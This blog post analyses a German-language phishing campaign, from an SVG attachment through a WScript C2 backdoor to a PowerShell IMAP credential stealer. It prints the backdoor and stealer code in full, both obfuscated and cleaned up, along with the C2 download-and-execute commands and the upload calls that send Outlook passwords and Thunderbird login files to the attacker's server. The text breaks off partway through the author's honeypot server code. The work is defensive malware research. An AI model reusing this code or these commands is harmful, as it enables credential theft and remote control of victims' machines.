Malware Analysis of a IMAP Credential Stealer
This is a blog post about malware designed to steal information, which is distributed via phishing emails and connects to a C2 server in several steps, steals IMAP login credentials, and embeds itself permanently in the system.
Usually, the server behind the URL is already offline by the time I have time to take a closer look at some phishing emails. This week, I received another random phishing email and thought I’d give it a try.
The phishing email is pretty standard, nothing special. I still don’t understand why the attackers don’t at least use sender addresses similar to the company they are trying to imitate, but OK.
Stage 1
The SVG attachment is quite small, not obfuscated at all, and is already detected by some AVs: https://www.virustotal.com/gui/file/6f8db0ec39641850b62b4d121197f55f1a93c051c26646d799f43b2f0dc4e0f8?nocache=1
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100%" height="100%">
<foreignObject class="node" x="0" y="0" width="100%" height="100%">
<body xmlns="http://www.w3.org/1999/xhtml">
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<script src="http://dlscript2k222.com/script.php?id=script"></script>
Warteladen... <!-- cktl9ezznonwx -->
</body>
</foreignObject>
</svg>
By requesting the included URL of the SVG file, it loads some base64 encoded HTML code from
hxxp://dlscript2k222.com/script.php?id=script
The base64 can be simple decoded to get the plain HTML
payload.html
<style>
@import url('https://fonts.googleapis.com/css2?family=Inter:ital,opsz,wght@0,14..32,100..900;1,14..32,100..900&display=swap');
body,
html,
foreignObject {
padding: 0;
margin: 0;
font-family: "Inter", Arial, sans-serif;
font-optical-sizing: auto;
font-style: normal;
font-weight: 300;
}
#wrapper {
background-color: #fff;
background-repeat: no-repeat;
background-position: right;
background-image: url("data:image/svg+xml;base64,PHN2ZyBp..");
}
a {
border: 3px solid #1473E6;
background: #1473E6;
border-radius: 20px;
color: #fff;
padding: 8px 30px;
text-decoration: none;
}
a:hover {
border: 3px solid #105cb8;
}
</style>
<div style="background-color: #f2f2f2; position: absolute; top: 0; left: 0; right: 0; bottom: 0;">
<div style="position: absolute; left: 20px; top: 20px; right: 20px; bottom: 0px; ">
<div id="wrapper" style="padding: 10px; border: 1px solid #AAA; border-radius: 10px; ">
<div style="">
<img style="vertical-align: middle; width: 50px;" src="data:image/png;base64,.." /> <span
style=" color: #B30B00; padding-left: 10px; font-weight: 350;">Adobe Acrobat Reader</span>
<div id="wait" style="padding-top: 10px;">Bitte warten Sie, Ihr Dokument wird hochgeladen...</div>
<div id="loadingWrapper"
style="position: relative; margin-top: 10px; border-radius: 20px; background-color: rgba(242, 242, 242, 0.5);">
<div id="loading"
style="display: inline-block; position: relative; border-radius: 20px; height: 10px; background: #B30C00; width: 10%; margin: 0px 5px; margin-bottom: 1px;">
</div>
</div>
<div id="loaded"
style="display: none; border-radius: 20px; margin-top: 10px; padding: 20px; background-color: rgba(255, 255, 255, 0.5);">
Ihr Dokument wurde hochgeladen.
<div style="margin-top: 20px;"><a id="dlBtn" style="">Öffnen Sie Ihre Datei</a></div>
</div>
<div id="captcha"
style="display: none; border-radius: 20px; margin-top: 10px; padding: 20px; background-color: rgba(255, 255, 255, 0.5);">
<p>Bitte vervollständigen Sie das Captcha, um Ihr Dokument herunterzuladen.</p>
<img src="data:image/png;base64,iVBORw0KGgo..." style="border: 1px solid #CCC;" />
<div><input type="text" id="inputCaptcha" style="width: 310px; padding: 5px;" /></div>
<div style="margin-top: 20px;"><a href="javascript:decrypt()">Verifizieren</a></div>
</div>
</div>
</div>
<div style="margin-top: 5px; color: #666; font-size: 12px;">Copyright © 2025 Adobe. All rights reserved.
</div>
</div>
</div>
A user will see the following when he opens the SVG file with a browser
and after a few seconds
In addition to the obfuscated HTML, it also contains some JavaScript at the end that has a small decryption function to hide the URL for the next stage. The captcha image contains the key to decrypt (xor) the Base64-encoded string. Interesting fact: The Base64 string and the captcha image change with every request, and the URL for stage 2 changes every 5 minutes.
script.js
var b64 = atob('HAx8B3sSHAx8B1wtJzdAdht2MiVAJF0rNiNQYlc2PmgMOQkqMDVaPEA=');
document.getElementById("inputCaptcha").addEventListener("keypress", function(event)
{
if(event.key === "Enter")
decrypt();
});
function decrypt()
{
key = document.getElementById("inputCaptcha").value.toUpperCase();
var decrypted = '';
for (i = 0; i < b64.length; i++)
{
decrypted += String.fromCharCode(
b64.charCodeAt(i) ^ key.charCodeAt(i % key.length)
);
}
if(decrypted.slice(0, 10) != 'OKOKOKOKOK')
alert('Falsches Captcha, bitte versuchen Sie es erneut.');
else
{
b64 = decrypted.slice(10);
//alert(b64);
//window.location.href = "b64";
new Image().src = 'http://dlscript2k222.com/script.php?captcha=' + key;
downloadSet();
}
}
function downloadSet()
{
/*
const binaryString = atob(b64);
const bytes = new Uint8Array(binaryString.length);
for(let i = 0; i < binaryString.length; i++)
{
bytes[i] = binaryString.charCodeAt(i);
}
const blob = new Blob([bytes], { type: 'application/x-cd-image' });
const url = URL.createObjectURL(blob);
*/
document.getElementById("captcha").style.display = "none";
document.getElementById("loaded").style.display = "block";
var element = document.getElementById('dlBtn');
element.setAttribute('href', b64);
//element.setAttribute('download', '');
}
//downloadSet();
var i = 10;
var intervalId = setInterval(function()
{
document.getElementById("loading").style.width = i + "%";
i += 1;
if(i >= 100)
{
clearInterval(intervalId);
document.getElementById("captcha").style.display = "block";
document.getElementById("wait").style.display = "none";
}
}, 100);
we can simple reuse this function and adjust it a little bit to perform the offline decryption
var b64 = atob('HRN6D30eHRN6D1ohJihGfh16Y2gCcUUlMypealE6P3cKMQ8mMSpcNEY');
function decrypt()
{
key = 'RX5D2U';
var decrypted = '';
for (i = 0; i < b64.length; i++)
{
decrypted += String.fromCharCode(
b64.charCodeAt(i) ^ key.charCodeAt(i % key.length)
);
}
if(decrypted.slice(0, 10) != 'OKOKOKOKOK')
console.log('Falsches Captcha, bitte versuchen Sie es erneut.');
else
{
b64 = decrypted.slice(10);
console.log(b64)
}
}
decrypt();
Since the URL changed every 5 minutes, I developed an automatic captcha solver and decoder to retrieve all potential URLs (you can find it at the end of the post).
If the correct key is entered, it will be used to decrypt the URL and a ZIP download is triggered.
Stage 2
The ZIP file contains obfuscated JavaScript (or rather WScript) named: RECHNUNG_XXXX_XXXXX.js
The file name of the downloaded ZIP file and parts of the RECHNUNG.js change with each different URL from which you download the ZIP file.
The obfuscated code also changes, but it is always the same unobfuscated code.
umu = "_";lwh = "j";oxt = "S";nox = "n";jvcl = "H";were = "e";ohd = "t";rpgw = "K";godp = "g";zav = "i";saik = "b";ggry = "p";miuu = "Y";duaj = "l";qrq = ":";llm = "0";ong = "c";sfn = " ";qqh = "/";nlh = "!";eujv = "I";gun = "\r";rmhh = "R";vcg = "-";jgs = "y";nnc = "\n";snda = "m";xqga = ".";hfk = "T";jmae = "s";pkf = "2";gyxo = "d";igf = "C";qdjm = "h";zje = "k";zcgh = "9";kzxn = "F";uanm = "N";luxl = "O";aiwd = "?";mewl = "V";zju = "\\";csbf = "Q";gdvf = "5";ljk = "M";ilq = "8";rcfk = "u";gaol = "x";qaaj = "A";dmw = "G";ney = "&";rfbu = "W";gnki = "r";mgcq = "L";ewmy = "o";gvk = "P";pwpy = "%";qke = "X";qxsu = "a";wyn = "E";wica = "w";lzbx = "4";sce = "f";fug = "@";mvnm = "D";ccbn=this[rfbu+oxt+ong+gnki+zav+ggry+ohd][igf+gnki+were+qxsu+ohd+were+luxl+saik+lwh+were+ong+ohd](rfbu+oxt+ong+gnki+zav+ggry+ohd+xqga+oxt+qdjm+were+duaj+duaj);najx=qdjm+ohd+ohd+ggry+qrq+qqh+qqh+snda+zav+ong+gnki+ewmy+jmae+ewmy+sce+ohd+ggry+ewmy+duaj+duaj+were+gnki+pkf+llm+xqga+ong+ewmy+snda+qqh+godp+ohd+xqga+ggry+qdjm+ggry;azev=this[rfbu+oxt+ong+gnki+zav+ggry+ohd][igf+gnki+were+qxsu+ohd+were+luxl+saik+lwh+were+ong+ohd](ljk+oxt+qke+ljk+mgcq+pkf+xqga+qke+ljk+mgcq+jvcl+hfk+hfk+gvk);zxp=this[rfbu+oxt+ong+gnki+zav+ggry+ohd][igf+gnki+were+qxsu+ohd+were+luxl+saik+lwh+were+ong+ohd](oxt+ong+gnki+zav+ggry+ohd+zav+nox+godp+xqga+kzxn+zav+duaj+were+oxt+jgs+jmae+ohd+were+snda+luxl+saik+lwh+were+ong+ohd);hzki=this[rfbu+oxt+ong+gnki+zav+ggry+ohd][igf+gnki+were+qxsu+ohd+were+luxl+saik+lwh+were+ong+ohd](rfbu+oxt+ong+gnki+zav+ggry+ohd+xqga+uanm+were+ohd+wica+ewmy+gnki+zje)[igf+ewmy+snda+ggry+rcfk+ohd+were+gnki+uanm+qxsu+snda+were];eoj=ccbn[rmhh+were+godp+rmhh+were+qxsu+gyxo](jvcl+rpgw+wyn+miuu+umu+mgcq+luxl+igf+qaaj+mgcq+umu+ljk+qaaj+igf+jvcl+eujv+uanm+wyn+zju+oxt+luxl+kzxn+hfk+rfbu+qaaj+rmhh+wyn+zju+ljk+zav+ong+gnki+ewmy+jmae+ewmy+sce+ohd+zju+rfbu+zav+nox+gyxo+ewmy+wica+jmae+sfn+uanm+hfk+zju+igf+rcfk+gnki+gnki+were+nox+ohd+mewl+were+gnki+jmae+zav+ewmy+nox+zju+gvk+gnki+ewmy+gyxo+rcfk+ong+ohd+eujv+gyxo)+fug+vcg+mvnm+wyn+vcg+hzki;bgiv=pkf+zcgh+zcgh+gdvf+gdvf+lzbx+lzbx+zcgh+lzbx+ilq;try{if(this[rfbu+oxt+ong+gnki+zav+ggry+ohd][oxt+ong+gnki+zav+ggry+ohd+kzxn+rcfk+duaj+duaj+uanm+qxsu+snda+were][zav+nox+gyxo+were+gaol+luxl+sce](bgiv) == -1){try{zxp[igf+ewmy+ggry+jgs+kzxn+zav+duaj+were](this[rfbu+oxt+ong+gnki+zav+ggry+ohd][oxt+ong+gnki+zav+ggry+ohd+kzxn+rcfk+duaj+duaj+uanm+qxsu+snda+were], zxp[dmw+were+ohd+oxt+ggry+were+ong+zav+qxsu+duaj+kzxn+ewmy+duaj+gyxo+were+gnki](2) + zju+bgiv+xqga+lwh+jmae,false);}catch(tgnt){}ccbn[rmhh+rcfk+nox](ong+jmae+ong+gnki+zav+ggry+ohd+xqga+were+gaol+were+sfn+zxp[dmw+were+ohd+oxt+ggry+were+ong+zav+qxsu+duaj+kzxn+ewmy+duaj+gyxo+were+gnki](2)+zju+bgiv+xqga+lwh+jmae,0,false);this[rfbu+oxt+ong+gnki+zav+ggry+ohd][were+ong+qdjm+ewmy](mvnm+qxsu+ohd+were+zav+sfn+saik+were+jmae+ong+qdjm+qxsu+gyxo+zav+godp+ohd+nlh);this[rfbu+oxt+ong+gnki+zav+ggry+ohd][csbf+rcfk+zav+ohd]();}if(this[rfbu+oxt+ong+gnki+zav+ggry+ohd][kzxn+rcfk+duaj+duaj+uanm+qxsu+snda+were][ohd+ewmy+mgcq+ewmy+wica+were+gnki+igf+qxsu+jmae+were]()[zav+nox+gyxo+were+gaol+luxl+sce](wica+jmae+ong+gnki+zav+ggry+ohd+xqga+were+gaol+were) != -1){ccbn[rmhh+rcfk+nox](ong+jmae+ong+gnki+zav+ggry+ohd+xqga+were+gaol+were+sfn+zxp[dmw+were+ohd+oxt+ggry+were+ong+zav+qxsu+duaj+kzxn+ewmy+duaj+gyxo+were+gnki](2)+zju+bgiv+xqga+lwh+jmae,0,false);this[rfbu+oxt+ong+gnki+zav+ggry+ohd][csbf+rcfk+zav+ohd]();}zxp[luxl+ggry+were+nox+hfk+were+gaol+ohd+kzxn+zav+duaj+were](zxp[dmw+were+ohd+oxt+ggry+were+ong+zav+qxsu+duaj+kzxn+ewmy+duaj+gyxo+were+gnki](2)+zju+bgiv+xqga+lwh+jmae,1);bml=zxp[igf+gnki+were+qxsu+ohd+were+hfk+were+gaol+ohd+kzxn+zav+duaj+were](zxp[dmw+were+ohd+oxt+ggry+were+ong+zav+qxsu+duaj+kzxn+ewmy+duaj+gyxo+were+gnki](2)+zju+bgiv+xqga+ohd+gaol+ohd,true);for(;;){try{azev[ewmy+ggry+were+nox](dmw+wyn+hfk,najx+aiwd+eoj+ney+new this[mvnm+qxsu+ohd+were],false);
azev[jmae+were+nox+gyxo]();if(azev[jmae+ohd+qxsu+ohd+rcfk+jmae]==200&&azev[gnki+were+jmae+ggry+ewmy+nox+jmae+were+hfk+were+gaol+ohd]!=luxl+rpgw&&azev[gnki+were+jmae+ggry+ewmy+nox+jmae+were+hfk+were+gaol+ohd][jmae+rcfk+saik+jmae+ohd+gnki+zav+nox+godp](0,2)==luxl+rpgw){dmyf=ccbn[wyn+gaol+were+ong](ong+snda+gyxo+sfn+qqh+ong+sfn+azev[gnki+were+jmae+ggry+ewmy+nox+jmae+were+hfk+were+gaol+ohd][jmae+rcfk+saik+jmae+ohd+gnki+zav+nox+godp](2)[jmae+ggry+duaj+zav+ohd](pwpy+oxt+igf+rmhh+eujv+gvk+hfk+umu+uanm+qaaj+ljk+wyn+pwpy)[lwh+ewmy+zav+nox](this[rfbu+oxt+ong+gnki+zav+ggry+ohd][oxt+ong+gnki+zav+ggry+ohd+kzxn+rcfk+duaj+duaj+uanm+qxsu+snda+were]));pvc=+new this[mvnm+qxsu+ohd+were];myz="";while(dmyf[oxt+ohd+qxsu+ohd+rcfk+jmae]==0&&+new this[mvnm+qxsu+ohd+were]-pvc<60568)
{myz+=dmyf[oxt+ohd+gyxo+luxl+rcfk+ohd][rmhh+were+qxsu+gyxo+mgcq+zav+nox+were]()+gun+nnc;}azev[ewmy+ggry+were+nox](gvk+luxl+oxt+hfk,najx+aiwd+eoj+ney+new this[mvnm+qxsu+ohd+were],false);
azev[jmae+were+nox+gyxo](myz);
}}catch(tgnt){}this[rfbu+oxt+ong+gnki+zav+ggry+ohd][oxt+duaj+were+were+ggry](53724);}}catch(tgnt){}
The obfuscation consists of simply replacing and concatenating the strings, variables, and function names. With a small Python script and some manual searching and replacing, we can unobfuscate the script.
ccbn = this[WScript][CreateObject](WScript.Shell)
targetURL = "http: //microsoftpoller20.com/gt.php"
azev = this[WScript][CreateObject](MSXML2.XMLHTTP)
zxp = this[WScript][CreateObject](Scripting.FileSystemObject)
hzki = this[WScript][CreateObject](WScript.Network)[ComputerName]
param = ccbn[RegRead]("HKEY_LOCAL_MACHINE\\ SOFTWARE\\ Microsoft\\ Windows NT\\ CurrentVersion\\ ProductId") @ - DE - hzki
bgiv = 2995544948
try {
if (this[WScript][ScriptFullName][indexOf](bgiv) == -1) {
try {
zxp[CopyFile](this[WScript][ScriptFullName], zxp[GetSpecialFolder](2)\\ bgiv.js, false)
} catch (tgnt) {}
ccbn[Run](cscript.exe zxp[GetSpecialFolder](2)\\ bgiv.js, 0, false)
this[WScript][echo](Datei beschadigt!)
this[WScript][Quit]()
}
if (this[WScript][FullName][toLowerCase]()[indexOf](wscript.exe) != -1) {
ccbn[Run](cscript.exe zxp[GetSpecialFolder](2)\\ bgiv.js, 0, false)
this[WScript][Quit]()
}
zxp[OpenTextFile](zxp[GetSpecialFolder](2)\\ bgiv.js, 1)
bml = zxp[CreateTextFile](zxp[GetSpecialFolder](2)\\ bgiv.txt, true)
for (
) {
try {
azev[open](GET, targetURL ? param & new this[Date], false)
azev[send]()
if (azev[status] == 200 && azev[responseText] != OK && azev[responseText][substring](0, 2) == OK) {
dmyf = ccbn[Exec](cmd / c azev[responseText][substring](2)[split]( % SCRIPT_NAME % )[join](this[WScript][ScriptFullName]))
pvc = +new this[Date]
myz = ""
while (dmyf[Status] == 0 && +new this[Date] - pvc < 60568) {
myz += dmyf[StdOut][ReadLine]()\ r\ n
}
azev[open](POST, targetURL ? param & new this[Date], false)
azev[send](myz)
}
} catch (tgnt) {}
this[WScript][Sleep](53724)
}
} catch (tgnt) {}
We can already read most of it, but to get a quick overview and a clean version, we can paste it into ChatGPT and ask for a cleanup and explanation.
High-level behavior
This script is a WSH backdoor / polling implant with these stages:
- Initialize WSH COM objects
- Fingerprint the host (computer name + Windows ProductId)
- Copy itself to a hidden/system location
- Force execution under cscript.exe
- Enter an infinite loop
- Poll a C2 server
- Receive shell commands
- Execute them via cmd.exe
- Capture stdout
- POST results back to the server
- Sleep and repeat
ChatGPT script with comments
// === OBJECT INITIALIZATION ===
shell = WScript.CreateObject("WScript.Shell");
http = WScript.CreateObject("MSXML2.XMLHTTP");
fs = WScript.CreateObject("Scripting.FileSystemObject");
network = WScript.CreateObject("WScript.Network");
// === CONFIGURATION ===
C2_URL = "http://microsoftpoller20.com/gt.php";
INSTALL_NAME = "2995544948.js";
SLEEP_TIME = 53724; // ~53 seconds
CMD_TIMEOUT_TAG = "OK";
MAX_CMD_RUNTIME = 60568; // ~60 seconds
// === HOST FINGERPRINTING ===
computerName = network.ComputerName;
productId = shell.RegRead(
"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductId"
);
// Unique victim identifier sent to C2
victimId = productId + "@-DE-" + computerName;
// === SELF-INSTALL / PERSISTENCE ===
currentScript = WScript.ScriptFullName;
installPath = fs.GetSpecialFolder(2) + "\\" + INSTALL_NAME; // Temp folder
if (currentScript does NOT contain INSTALL_NAME) {
// Copy itself to target location
fs.CopyFile(currentScript, installPath, false);
// Relaunch using cscript (hidden)
shell.Run("cscript.exe " + installPath, 0, false);
// Fake error message (social engineering)
WScript.Echo("Datei beschadigt!"); // "File damaged!"
WScript.Quit();
}
// === FORCE CSCRIPT EXECUTION ===
if (WScript.FullName.toLowerCase().contains("wscript.exe")) {
shell.Run("cscript.exe " + installPath, 0, false);
WScript.Quit();
}
// === KEEP FILE HANDLE OPEN (ANTI-DELETE) ===
fs.OpenTextFile(installPath, 1);
// Create temp output file (unused artifact)
fs.CreateTextFile(fs.GetSpecialFolder(2) + "\\2995544948.txt", true);
// === COMMAND & CONTROL LOOP ===
while (true) {
try {
// ---- POLL C2 ----
http.open(
"GET",
C2_URL + "?" + victimId + "&" + new Date(),
false
);
http.send();
if (
http.status == 200 &&
http.responseText != "OK" &&
http.responseText.startsWith("OK")
) {
// ---- COMMAND EXECUTION ----
command = http.responseText.substring(2);
// Replace placeholder with actual script path
command = command.replace(
"%SCRIPT_NAME%",
WScript.ScriptFullName
);
exec = shell.Exec("cmd /c " + command);
// ---- CAPTURE STDOUT ----
startTime = now();
output = "";
while (
exec.Status == 0 &&
now() - startTime < MAX_CMD_RUNTIME
) {
output += exec.StdOut.ReadLine() + "\r\n";
}
// ---- EXFILTRATE OUTPUT ----
http.open(
"POST",
C2_URL + "?" + victimId + "&" + new Date(),
false
);
http.send(output);
}
} catch (e) {
// All errors suppressed
}
// ---- SLEEP BEFORE NEXT POLL ----
WScript.Sleep(SLEEP_TIME);
}
Talking with the C2
Now I wanted to see what commands the C2 server sends to me.
First, we need to register our beacon. To do this, we need to send a GET request with our product ID and hostname to the server.
I prepared a script to provide the necessary information, just as the payload would do.
wscriptShell = WScript.CreateObject("WScript.Shell");
wscriptNetwork = WScript.CreateObject("WScript.Network");
targetURL = "http://microsoftpoller20.com/gt.php;"
hostname = wscriptNetwork.ComputerName
prodcutID = wscriptShell.RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductId")
prodcutID = prodcutID + "@-DE-" + hostname
date = new Date
request = targetURL + "?" + prodcutID + "&" + date
WScript.Echo(request)
As soon as we send this information to the C2 server, we receive our first command that the C2 wants to execute.
We will do him the favor and send our systeminfo back to the C2.
Stage 3 – IMAP Stealer
Another get request now triggers the next command.
cd %temp% && curl http://microsoftpoller20.com/st2.php > file.ps1 && echo filemagik
I downloaded this PowerShell script and, surprisingly, Virus Total did not detect it. Apparently, I was the first person to upload it: https://www.virustotal.com/gui/file/526229b625ef4f2510fc70652f88a0fa847041940ac3692c633457d11b2f0e4c?nocache=1
The script isn’t really obfuscated, so we can already understand what it does.
file.ps1
Add-Type -AssemblyName System.Security
function a {param(
[Parameter(Mandatory=$true)]
[byte[]]$a,
[string]$b = "hxxp://microsoftpoller20.com/up2.php",
[string]$c = "application/octet-stream",
[System.Collections.IDictionary]$d = @{}
)
$e = [System.IO.Path]::GetTempFileName()
try {
[System.IO.File]::WriteAllBytes($e, $a)
$d += @{'Content-Type' = $c}
$f = $d.GetEnumerator() | ForEach-Object {
'-H', "$($_.Key):$($_.Value)"
}
$g = & curl.exe -X POST --data-binary "@$e" $f $b -s -S 2>&1
if ($LASTEXITCODE -ne 0) { throw $g }
return $g
}
catch { throw "Failed to upload to $b`: $_" }
finally { Remove-Item $e -Force -ErrorAction SilentlyContinue }
}
function b {
param(
[byte[]]$a
)
do {
try {
$g = a -a $a
if ($g -eq "OK") { break }
}
catch {
$PSCmdlet.WriteError($_)
}
Start-Sleep -Seconds 10
}
while ($true)
}
function c {
param(
[Parameter(Mandatory=$true)]
$a
)
if ($a -eq $null) {
return ""
}
if ($a -is [byte[]]) {
try {
$h = [System.Text.Encoding]::Unicode.GetString($a)
return $h.TrimEnd("`0")
}
catch {
return $a.ToString()
}
}
return $a.ToString()
}
function d {
param (
[Parameter(Mandatory=$true)]
[string]$a
)
if (-not (Test-Path $a)) {
"OUTLOOK: Couldn't find: " + $a
return
}
"OUTLOOK: Trying!"
Get-ChildItem $a | ForEach-Object {
$i = Get-ItemProperty -Path $_.PSPath
$i.PSObject.Properties | ForEach-Object {
if ($_.Name -notlike "PS*") {
try {
$j = $_.Name
$k = $_.Value
Write-Output "$j : $k"
}
catch {
Write-Output "$j : <Error reading value>"
}
}
}
if ($i."IMAP Password" -ne $null) {
try {
$l = $i."IMAP Password"
$m = $l[1..($l.Length-1)]
$n = [System.Security.Cryptography.ProtectedData]::Unprotect(
$m,
$null,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser
)
$o = [System.Text.Encoding]::Unicode.GetString($n)
$o
$o = $o.subString(0,$o.length-1)
$o
$p = c -a $i."IMAP User"
$p
$q = c -a $i."IMAP Server"
$q
$r = $i."IMAP Port"
$s = ""
if ($r -ne "") {
$s = ":" + $r;
}
$t = "OL" + $q + $s + "," + $p + "," + $o
$t
$t = [System.Text.Encoding]::UTF8.GetBytes($t)
"Found for OL, uploading..."
b -a $t
}
catch {
$PSCmdlet.WriteError($_)
}
}
}
}
function e {
$u = Join-Path $env:APPDATA "Thunderbird\Profiles\"
if (-not (Test-Path $u)) {
"FIREFOX: Couldn't find: " + $u
return
}
"FIREFOX: Trying!"
$v = Get-ChildItem -Path $u -Directory
foreach ($w in $v) {
$x = Join-Path $w.FullName "logins.json"
$y = Join-Path $w.FullName "key4.db"
if (-not (Test-Path $x) -or -not (Test-Path $y)) {
Get-ChildItem -Path $w.FullName -File
continue
}
try {
$z = [System.IO.File]::ReadAllBytes($x)
$aa = [System.IO.File]::ReadAllBytes($y)
$ab = "FF"
$ac = [System.Text.Encoding]::UTF8.GetBytes($ab)
$ad = New-Object System.Collections.Generic.List[byte]
$ad.AddRange($ac)
$ad.AddRange([BitConverter]::GetBytes([int32]$z.Length))
$ad.AddRange($z)
$ad.AddRange($aa)
"Found for FF, uploading..."
b -a $ad
}
catch {
$PSCmdlet.WriteError($_)
}
}
}
e
d -a "HKCU:\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676"
d -a "HKCU:\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676"
d -a "HKCU:\Software\Microsoft\Windows Messaging Subsystem\Profiles\\9375CFF0413111d3B88A00104B2A6676"
d -a "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676"%
However, I have made some renaming and cleanup to improve readability.
file_clean.ps1
Add-Type -AssemblyName System.Security
function sendPost {param(
[Parameter(Mandatory=$true)]
[byte[]]$file_content,
[string]$URL = "hxxp://microsoftpoller20.com/up2.php",
[string]$content_type = "application/octet-stream",
[System.Collections.IDictionary]$d = @{}
)
$tempFileName = [System.IO.Path]::GetTempFileName()
try {
[System.IO.File]::WriteAllBytes($tempFileName, $file_content)
$d += @{'Content-Type' = $content_type}
$header_param = $d.GetEnumerator() | ForEach-Object {
'-H', "$($_.Key):$($_.Value)"
}
$g = & curl.exe -X POST --data-binary "@$tempFileName" $header_param $URL -s -S 2>&1
if ($LASTEXITCODE -ne 0) { throw $g }
return $g
}
catch { throw "Failed to upload to $URL`: $_" }
finally { Remove-Item $tempFileName -Force -ErrorAction SilentlyContinue }
}
function pre_sendPost {
param(
[byte[]]$file_content
)
do {
try {
$result = sendPost -a $file_content
if ($result -eq "OK") { break }
}
catch {
$PSCmdlet.WriteError($_)
}
Start-Sleep -Seconds 10
}
while ($true)
}
function getUnicode{
param(
[Parameter(Mandatory=$true)]
$a
)
if ($a -eq $null) {
return ""
}
if ($a -is [byte[]]) {
try {
$h = [System.Text.Encoding]::Unicode.GetString($a)
return $h.TrimEnd("`0")
}
catch {
return $a.ToString()
}
}
return $a.ToString()
}
function getOutlook_secrets {
param (
[Parameter(Mandatory=$true)]
[string]$regKey
)
if (-not (Test-Path $a)) {
"OUTLOOK: Couldn't find: " + $regKey
return
}
"OUTLOOK: Trying!"
Get-ChildItem $regKey | ForEach-Object {
$i = Get-ItemProperty -Path $_.PSPath
$i.PSObject.Properties | ForEach-Object {
if ($_.Name -notlike "PS*") {
try {
$regName = $_.Name
$regValue = $_.Value
Write-Output "$regName : $regValue"
}
catch {
Write-Output "$regName : <Error reading value>"
}
}
}
if ($i."IMAP Password" -ne $null) {
try {
$l = $i."IMAP Password"
$m = $l[1..($l.Length-1)]
$n = [System.Security.Cryptography.ProtectedData]::Unprotect(
$m,
$null,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser
)
$o = [System.Text.Encoding]::Unicode.GetString($n)
$o
$o = $o.subString(0,$o.length-1)
$o
$p = getUnicode -a $i."IMAP User"
$p
$q = getUnicode -a $i."IMAP Server"
$q
$r = $i."IMAP Port"
$s = ""
if ($r -ne "") {
$s = ":" + $r;
}
$t = "OL" + $q + $s + "," + $p + "," + $o
$t
$t = [System.Text.Encoding]::UTF8.GetBytes($t)
"Found for OL, uploading..."
pre_sendPost -a $t
}
catch {
$PSCmdlet.WriteError($_)
}
}
}
}
function getThunderbird_secrects {
$u = Join-Path $tempFileNamenv:APPDATA "Thunderbird\Profiles\"
if (-not (Test-Path $u)) {
"FIREFOX: Couldn't find: " + $u
return
}
"FIREFOX: Trying!"
$v = Get-ChildItem -Path $u -Directory
foreach ($w in $v) {
$x = Join-Path $w.FullName "logins.json"
$y = Join-Path $w.FullName "key4.db"
if (-not (Test-Path $x) -or -not (Test-Path $y)) {
Get-ChildItem -Path $w.FullName -File
continue
}
try {
$z = [System.IO.File]::ReadAllBytes($x)
$aa = [System.IO.File]::ReadAllBytes($y)
$ab = "FF"
$ac = [System.Text.Encoding]::UTF8.GetBytes($ab)
$ad = New-Object System.Collections.Generic.List[byte]
$ad.AddRange($ac)
$ad.AddRange([BitConverter]::GetBytes([int32]$z.Length))
$ad.AddRange($z)
$ad.AddRange($aa)
"Found for FF, uploading..."
pre_sendPost -a $ad
}
catch {
$PSCmdlet.WriteError($_)
}
}
}
getThunderbird_secrects
getOutlook_secrets -a "HKCU:\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676"
getOutlook_secrets -a "HKCU:\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676"
getOutlook_secrets -a "HKCU:\Software\Microsoft\Windows Messaging Subsystem\Profiles\\9375CFF0413111d3B88A00104B2A6676"
getOutlook_secrets -a "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676"%
TL;DR Overview
- Checks the current user profile on Thunderbird and attempts to retrieve the “logins.json” and “key4.db” files
- Checks various Outlook/Windows Mail registry paths to retrieve stored mailbox information, then uses [System.Security.Cryptography.ProtectedData]::Unprotect and [System.Security.Cryptography. DataProtectionScope]::CurrentUser to decrypt the user password.
- Creates a temporary file with the server login credentials.
- Uses curl to make a POST request and upload the retrieved login credentials to another endpoint (hxxp://microsoftpoller20.com/up2.php).
This actually worked on a test system, and the stolen login credentials are sent in a format like the following:
"OLimap.gmx.net:993,peter.Ba872@gmx.net,MeinGeheimesPassword487"
However, the last C2 command only downloads the file. To obtain the execution command for it, we need to send another request to the C2 endpoint. The previous command also contained && echo filemagik at the end, so we send this back.
and retrieve our next command, which takes over execution.
cd %temp% && echo elifmagik && powershell -ExecutionPolicy Bypass -File file.ps1
IMAP Honey Pot
I thought it would be interesting to see if anyone would use these login credentials and where they would connect from, so I decided to set up a honeypot IMAP server. I set up a new cloud instance and used Vibe Coding to create a fake IMAP server that logs all login attempts
imap_server.py
import asyncio
import base64
import ssl
from datetime import datetime
import traceback
HOST = "0.0.0.0"
PORT = 993
LOG_FILE = "log.txt"
TEST_USERNAME = "testuser"
TEST_PASSWORD = "testpass"
CAPABILITIES = "IMAP4rev1 SASL-IR AUTH=PLAIN AUTH=LOGIN"
def log(message: str):
timestamp = datetime.utcnow().isoformat()
line = f"[{timestamp}] {message}\n"
with open(LOG_FILE, "a", encoding="utf-8") as f:
f.write(line)
print(line, end="")
async def handle_client(reader, writer):
peer = writer.get_extra_info("peername")
client_ip = peer[0] if peer else "unknown"
log(f"NEW CONNECTION from {client_ip}")
try:
writer.write(b"* OK IMAP4rev1 Service Ready\r\n")
await writer.drain()
while True:
line = await reader.readline()
if not line:
log(f"DISCONNECT from {client_ip}")
break
command = line.decode(errors="ignore").strip()
log(f"{client_ip} -> {command}")
parts = command.split()
if len(parts) < 2:
writer.write(b"* BAD Invalid command\r\n")
await writer.drain()
continue
tag = parts[0]
